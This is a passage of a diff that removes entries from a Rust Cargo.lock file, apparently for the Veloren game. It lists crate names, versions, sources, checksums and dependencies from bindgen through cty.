-version = "0.69.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0"
-dependencies = [
- "bitflags 2.5.0",
- "cexpr",
- "clang-sys",
- "itertools 0.12.1",
- "lazy_static",
- "lazycell",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "regex",
- "rustc-hash",
- "shlex",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "bit-set"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1"
-dependencies = [
- "bit-vec",
-]
-
-[[package]]
-name = "bit-vec"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf4b9d6a944f767f8e5e0db018570623c85f3d925ac718db4e06d0187adb21c1"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "bitvec"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c"
-dependencies = [
- "funty",
- "radium",
- "tap",
- "wyz",
-]
-
-[[package]]
-name = "blake2b_simd"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23285ad32269793932e830392f2fe2f83e26488fd3ec778883a93c8323735780"
-dependencies = [
- "arrayref",
- "arrayvec",
- "constant_time_eq",
-]
-
-[[package]]
-name = "block"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "block-sys"
-version = "0.1.0-beta.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fa55741ee90902547802152aaf3f8e5248aab7e21468089560d4c8840561146"
-dependencies = [
- "objc-sys",
-]
-
-[[package]]
-name = "block2"
-version = "0.2.0-alpha.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8dd9e63c1744f755c2f60332b88de39d341e5e86239014ad839bd71c106dec42"
-dependencies = [
- "block-sys",
- "objc2-encode",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.15.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ff69b9dd49fd426c69a0db9fc04dd934cdb6645ff000864d98f7e2af8830eaa"
-
-[[package]]
-name = "bytemuck"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d6d68c57235a3a081186990eca2867354726650f42f7516ca50c28d6281fd15"
-dependencies = [
- "bytemuck_derive",
-]
-
-[[package]]
-name = "bytemuck_derive"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4da9a32f3fed317401fa3c862968128267c3106685286e15d5aaa3d7389c2f60"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "byteorder"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-
-[[package]]
-name = "bytes"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
-
-[[package]]
-name = "calloop"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52e0d00eb1ea24371a97d2da6201c6747a633dc6dc1988ef503403b4c59504a8"
-dependencies = [
- "bitflags 1.3.2",
- "log",
- "nix 0.25.1",
- "slotmap",
- "thiserror",
- "vec_map",
-]
-
-[[package]]
-name = "cansi"
-version = "2.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bdcae87153686017415ce77e48c53e6818a0a058f0e21b56640d1e944967ef8"
-
-[[package]]
-name = "cap-fs-ext"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88e341d15ac1029aadce600be764a1a1edafe40e03cde23285bc1d261b3a4866"
-dependencies = [
- "cap-primitives",
- "cap-std",
- "io-lifetimes",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "cap-net-ext"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "434168fe6533055f0f4204039abe3ff6d7db338ef46872a5fa39e9d5ad5ab7a9"
-dependencies = [
- "cap-primitives",
- "cap-std",
- "rustix",
- "smallvec",
-]
-
-[[package]]
-name = "cap-primitives"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe16767ed8eee6d3f1f00d6a7576b81c226ab917eb54b96e5f77a5216ef67abb"
-dependencies = [
- "ambient-authority",
- "fs-set-times",
- "io-extras",
- "io-lifetimes",
- "ipnet",
- "maybe-owned",
- "rustix",
- "windows-sys 0.52.0",
- "winx",
-]
-
-[[package]]
-name = "cap-rand"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20e5695565f0cd7106bc3c7170323597540e772bb73e0be2cd2c662a0f8fa4ca"
-dependencies = [
- "ambient-authority",
- "rand 0.8.5",
-]
-
-[[package]]
-name = "cap-std"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "593db20e4c51f62d3284bae7ee718849c3214f93a3b94ea1899ad85ba119d330"
-dependencies = [
- "cap-primitives",
- "io-extras",
- "io-lifetimes",
- "rustix",
-]
-
-[[package]]
-name = "cap-time-ext"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03261630f291f425430a36f38c847828265bc928f517cdd2004c56f4b02f002b"
-dependencies = [
- "ambient-authority",
- "cap-primitives",
- "iana-time-zone",
- "once_cell",
- "rustix",
- "winx",
-]
-
-[[package]]
-name = "cassowary"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df8670b8c7b9dae1793364eafadf7239c40d669904660c5960d74cfd80b46a53"
-
-[[package]]
-name = "cast"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5"
-
-[[package]]
-name = "castaway"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a17ed5635fc8536268e5d4de1e22e81ac34419e5f052d4d51f4e01dcc263fcc"
-dependencies = [
- "rustversion",
-]
-
-[[package]]
-name = "cc"
-version = "1.0.90"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8cd6604a82acf3039f1144f54b8eb34e91ffba622051189e71b781822d5ee1f5"
-dependencies = [
- "jobserver",
- "libc",
-]
-
-[[package]]
-name = "censor"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d41e3b9fdbb9b3edc10dc66a06dc255822f699c432e19403fb966e6d60e0dec4"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "cesu8"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c"
-
-[[package]]
-name = "cexpr"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
-dependencies = [
- "nom",
-]
-
-[[package]]
-name = "cfg-if"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "cfg_aliases"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
-
-[[package]]
-name = "chrono"
-version = "0.4.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaf5903dcbc0a39312feb77df2ff4c76387d591b9fc7b04a238dcf8bb62639a"
-dependencies = [
- "android-tzdata",
- "iana-time-zone",
- "js-sys",
- "num-traits",
- "serde",
- "wasm-bindgen",
- "windows-targets 0.52.4",
-]
-
-[[package]]
-name = "chrono-tz"
-version = "0.8.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d59ae0466b83e838b81a54256c39d5d7c20b9d7daa10510a242d9b75abd5936e"
-dependencies = [
- "chrono",
- "chrono-tz-build",
- "phf",
- "serde",
-]
-
-[[package]]
-name = "chrono-tz-build"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "433e39f13c9a060046954e0592a8d0a4bcb1040125cbf91cb8ee58964cfb350f"
-dependencies = [
- "parse-zoneinfo",
- "phf",
- "phf_codegen",
-]
-
-[[package]]
-name = "chumsky"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eebd66744a15ded14960ab4ccdbfb51ad3b81f51f3f04a80adac98c985396c9"
-dependencies = [
- "hashbrown 0.14.3",
- "stacker",
-]
-
-[[package]]
-name = "ciborium"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e"
-dependencies = [
- "ciborium-io",
- "ciborium-ll",
- "serde",
-]
-
-[[package]]
-name = "ciborium-io"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757"
-
-[[package]]
-name = "ciborium-ll"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9"
-dependencies = [
- "ciborium-io",
- "half",
-]
-
-[[package]]
-name = "clang-sys"
-version = "1.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1"
-dependencies = [
- "glob",
- "libc",
- "libloading 0.8.3",
-]
-
-[[package]]
-name = "clap"
-version = "4.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "949626d00e063efc93b6dca932419ceb5432f99769911c0b995f7e884c778813"
-dependencies = [
- "clap_builder",
- "clap_derive",
-]
-
-[[package]]
-name = "clap_builder"
-version = "4.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae129e2e766ae0ec03484e609954119f123cc1fe650337e155d03b022f24f7b4"
-dependencies = [
- "anstream",
- "anstyle",
- "clap_lex",
- "strsim 0.11.0",
-]
-
-[[package]]
-name = "clap_derive"
-version = "4.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90239a040c80f5e14809ca132ddc4176ab33d5e17e49691793296e3fcb34d72f"
-dependencies = [
- "heck 0.5.0",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "clap_lex"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce"
-
-[[package]]
-name = "clipboard-win"
-version = "3.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fdf5e01086b6be750428ba4a40619f847eb2e95756eee84b18e06e5f0b50342"
-dependencies = [
- "lazy-bytes-cast",
- "winapi",
-]
-
-[[package]]
-name = "clipboard-win"
-version = "4.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7191c27c2357d9b7ef96baac1773290d4ca63b24205b82a3fd8a0637afcf0362"
-dependencies = [
- "error-code 2.3.1",
- "str-buf",
- "winapi",
-]
-
-[[package]]
-name = "clipboard-win"
-version = "5.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d517d4b86184dbb111d3556a10f1c8a04da7428d2987bf1081602bf11c3aa9ee"
-dependencies = [
- "error-code 3.2.0",
-]
-
-[[package]]
-name = "clipboard_macos"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "145a7f9e9b89453bc0a5e32d166456405d389cea5b578f57f1274b1397588a95"
-dependencies = [
- "objc",
- "objc-foundation",
- "objc_id",
-]
-
-[[package]]
-name = "clipboard_wayland"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6f6364a9f7a66f2ac1a1a098aa1c7f6b686f2496c6ac5e5c0d773445df912747"
-dependencies = [
- "smithay-clipboard",
-]
-
-[[package]]
-name = "clipboard_x11"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4274ea815e013e0f9f04a2633423e14194e408a0576c943ce3d14ca56c50031c"
-dependencies = [
- "thiserror",
- "x11rb 0.13.0",
-]
-
-[[package]]
-name = "cmake"
-version = "0.1.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb6210b637171dfba4cda12e579ac6dc73f5165ad56133e5d72ef3131f320855"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "cocoa"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f425db7937052c684daec3bd6375c8abe2d146dca4b8b143d6db777c39138f3a"
-dependencies = [
- "bitflags 1.3.2",
- "block",
- "cocoa-foundation",
- "core-foundation",
- "core-graphics",
- "foreign-types 0.3.2",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "cocoa-foundation"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7"
-dependencies = [
- "bitflags 1.3.2",
- "block",
- "core-foundation",
- "core-graphics-types",
- "libc",
- "objc",
-]
-
-[[package]]
-name = "codespan-reporting"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e"
-dependencies = [
- "termcolor",
- "unicode-width",
-]
-
-[[package]]
-name = "color_quant"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b"
-
-[[package]]
-name = "colorchoice"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
-
-[[package]]
-name = "com-rs"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf43edc576402991846b093a7ca18a3477e0ef9c588cde84964b5d3e43016642"
-
-[[package]]
-name = "combine"
-version = "4.6.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4"
-dependencies = [
- "bytes",
- "memchr",
-]
-
-[[package]]
-name = "compact_str"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f86b9c4c00838774a6d902ef931eff7470720c51d90c2e32cfe15dc304737b3f"
-dependencies = [
- "castaway",
- "cfg-if 1.0.0",
- "itoa",
- "ryu",
- "static_assertions",
-]
-
-[[package]]
-name = "concurrent-queue"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363"
-dependencies = [
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "conrod_core"
-version = "0.63.0"
-source = "git+https://gitlab.com/veloren/conrod.git?branch=copypasta_0.7#59fddc617696e68d28a75c2137a08c2572efb986"
-dependencies = [
- "conrod_derive",
- "copypasta",
- "daggy",
- "fnv",
- "instant",
- "num 0.2.1",
- "pistoncore-input",
- "rusttype 0.7.9",
-]
-
-[[package]]
-name = "conrod_derive"
-version = "0.63.0"
-source = "git+https://gitlab.com/veloren/conrod.git?branch=copypasta_0.7#59fddc617696e68d28a75c2137a08c2572efb986"
-dependencies = [
- "proc-macro2 0.4.30",
- "quote 0.6.13",
- "syn 0.15.44",
-]
-
-[[package]]
-name = "conrod_winit"
-version = "0.63.0"
-source = "git+https://gitlab.com/veloren/conrod.git?branch=copypasta_0.7#59fddc617696e68d28a75c2137a08c2572efb986"
-
-[[package]]
-name = "console"
-version = "0.15.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb"
-dependencies = [
- "encode_unicode",
- "lazy_static",
- "libc",
- "unicode-width",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "constant_time_eq"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7144d30dcf0fafbce74250a3963025d8d52177934239851c917d29f1df280c2"
-
-[[package]]
-name = "copypasta"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "133fc8675ee3a4ec9aa513584deda9aa0faeda3586b87f7f0f2ba082c66fb172"
-dependencies = [
- "clipboard-win 3.1.1",
- "objc",
- "objc-foundation",
- "objc_id",
- "smithay-clipboard",
- "x11-clipboard",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
-
-[[package]]
-name = "core-graphics"
-version = "0.22.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2581bbab3b8ffc6fcbd550bf46c355135d16e9ff2a6ea032ad6b9bf1d7efe4fb"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation",
- "core-graphics-types",
- "foreign-types 0.3.2",
- "libc",
-]
-
-[[package]]
-name = "core-graphics-types"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation",
- "libc",
-]
-
-[[package]]
-name = "coreaudio-rs"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11894b20ebfe1ff903cbdc52259693389eea03b94918a2def2c30c3bf227ad88"
-dependencies = [
- "bitflags 1.3.2",
- "coreaudio-sys",
-]
-
-[[package]]
-name = "coreaudio-sys"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f01585027057ff5f0a5bf276174ae4c1594a2c5bde93d5f46a016d76270f5a9"
-dependencies = [
- "bindgen",
-]
-
-[[package]]
-name = "cpal"
-version = "0.13.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74117836a5124f3629e4b474eed03e479abaf98988b4bb317e29f08cfe0e4116"
-dependencies = [
- "alsa",
- "core-foundation-sys",
- "coreaudio-rs",
- "jni 0.19.0",
- "js-sys",
- "lazy_static",
- "libc",
- "mach",
- "ndk 0.6.0",
- "ndk-glue",
- "nix 0.23.2",
- "oboe",
- "parking_lot 0.11.2",
- "stdweb",
- "thiserror",
- "web-sys",
- "winapi",
-]
-
-[[package]]
-name = "cpp_demangle"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eeaa953eaad386a53111e47172c2fedba671e5684c8dd601a5f474f4f118710f"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "cranelift-bforest"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95ffa62b81e6d1b987933240ed7de5d4d85ae2e07153e3f9b74fc27ecfd81d2c"
-dependencies = [
- "cranelift-entity",
-]
-
-[[package]]
-name = "cranelift-codegen"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3af519738eb5d96c0d48b04845c88d0412a40167b5c42884e090fe9e015842ff"
-dependencies = [
- "bumpalo",
- "cranelift-bforest",
- "cranelift-codegen-meta",
- "cranelift-codegen-shared",
- "cranelift-control",
- "cranelift-entity",
- "cranelift-isle",
- "gimli",
- "hashbrown 0.14.3",
- "log",
- "regalloc2",
- "smallvec",
- "target-lexicon",
-]
-
-[[package]]
-name = "cranelift-codegen-meta"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba2da643fa5ccaf53cbb8db6acf3372321e2e13507d62c7c565529dd6f2d0ea0"
-dependencies = [
- "cranelift-codegen-shared",
-]
-
-[[package]]
-name = "cranelift-codegen-shared"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3745d6c656649940d3f42d263b8ba00805e9bf1203205a0d98a7517a2fe5a35"
-
-[[package]]
-name = "cranelift-control"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41a521e2d0b427fe026457b70ba1896d9d560af72a47982db19fef11aa0ee789"
-dependencies = [
- "arbitrary",
-]
-
-[[package]]
-name = "cranelift-entity"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96a6b8d80c6235fd73c0e9218d89f498b398fb0c52d4b30abd9a388da613f71f"
-dependencies = [
- "serde",
- "serde_derive",
-]
-
-[[package]]
-name = "cranelift-frontend"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3d555819f3a49c01826ce5bf0f3e52a4e17be9c4ee09381d6a1d88549793f3c"
-dependencies = [
- "cranelift-codegen",
- "log",
- "smallvec",
- "target-lexicon",
-]
-
-[[package]]
-name = "cranelift-isle"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53aeebed3b78faea701062d4e384bffe91aef33e47d949bad10e5c540a00916d"
-
-[[package]]
-name = "cranelift-native"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc99479323e678deac40abffec0ca7a52cc6c549c0fa351b2d3a76655202a5a7"
-dependencies = [
- "cranelift-codegen",
- "libc",
- "target-lexicon",
-]
-
-[[package]]
-name = "cranelift-wasm"
-version = "0.104.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cab055df5f977a3fee2837cd447b899d98a5e72374341461535b758608f25175"
-dependencies = [
- "cranelift-codegen",
- "cranelift-entity",
- "cranelift-frontend",
- "itertools 0.10.5",
- "log",
- "smallvec",
- "wasmparser 0.118.2",
- "wasmtime-types",
-]
-
-[[package]]
-name = "crc32fast"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "criterion"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f"
-dependencies = [
- "anes",
- "cast",
- "ciborium",
- "clap",
- "criterion-plot",
- "futures",
- "is-terminal",
- "itertools 0.10.5",
- "num-traits",
- "once_cell",
- "oorandom",
- "rayon",
- "regex",
- "serde",
- "serde_derive",
- "serde_json",
- "tinytemplate",
- "tokio",
- "walkdir",
-]
-
-[[package]]
-name = "criterion-plot"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1"
-dependencies = [
- "cast",
- "itertools 0.10.5",
-]
-
-[[package]]
-name = "critical-section"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7059fff8937831a9ae6f0fe4d658ffabf58f2ca96aa9dec1c889f936f705f216"
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab3db02a9c5b5121e1e42fbdb1aeb65f5e02624cc58c43f2884c6ccac0b82f95"
-dependencies = [
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c20ff29ded3204c5106278a81a38f4b482636ed4fa1e6cfbeef193291beb29ed"
-dependencies = [
- "crossbeam-epoch 0.8.2",
- "crossbeam-utils 0.7.2",
- "maybe-uninit",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d"
-dependencies = [
- "crossbeam-epoch 0.9.18",
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "058ed274caafc1f60c4997b5fc07bf7dc7cca454af7c6e81edffe5f33f70dace"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "crossbeam-utils 0.7.2",
- "lazy_static",
- "maybe-uninit",
- "memoffset 0.5.6",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
-dependencies = [
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "crossbeam-queue"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35"
-dependencies = [
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "lazy_static",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345"
-
-[[package]]
-name = "crossterm"
-version = "0.27.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f476fe445d41c9e991fd07515a6f463074b782242ccf4a5b7b1d1012e70824df"
-dependencies = [
- "bitflags 2.5.0",
- "crossterm_winapi",
- "libc",
- "mio",
- "parking_lot 0.12.1",
- "signal-hook",
- "signal-hook-mio",
- "winapi",
-]
-
-[[package]]
-name = "crossterm_winapi"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "acdd7c62a3665c7f6830a51635d9ac9b23ed385797f70a83bb8bafe9c572ab2b"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "crunchy"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
-
-[[package]]
-name = "crypto-common"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "csv"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac574ff4d437a7b5ad237ef331c17ccca63c46479e5b5453eb8e10bb99a759fe"
-dependencies = [
- "csv-core",
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "csv-core"
-version = "0.1.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5efa2b3d7902f4b634a20cae3c9c4e6209dc4779feb6863329607560143efa70"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "cty"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
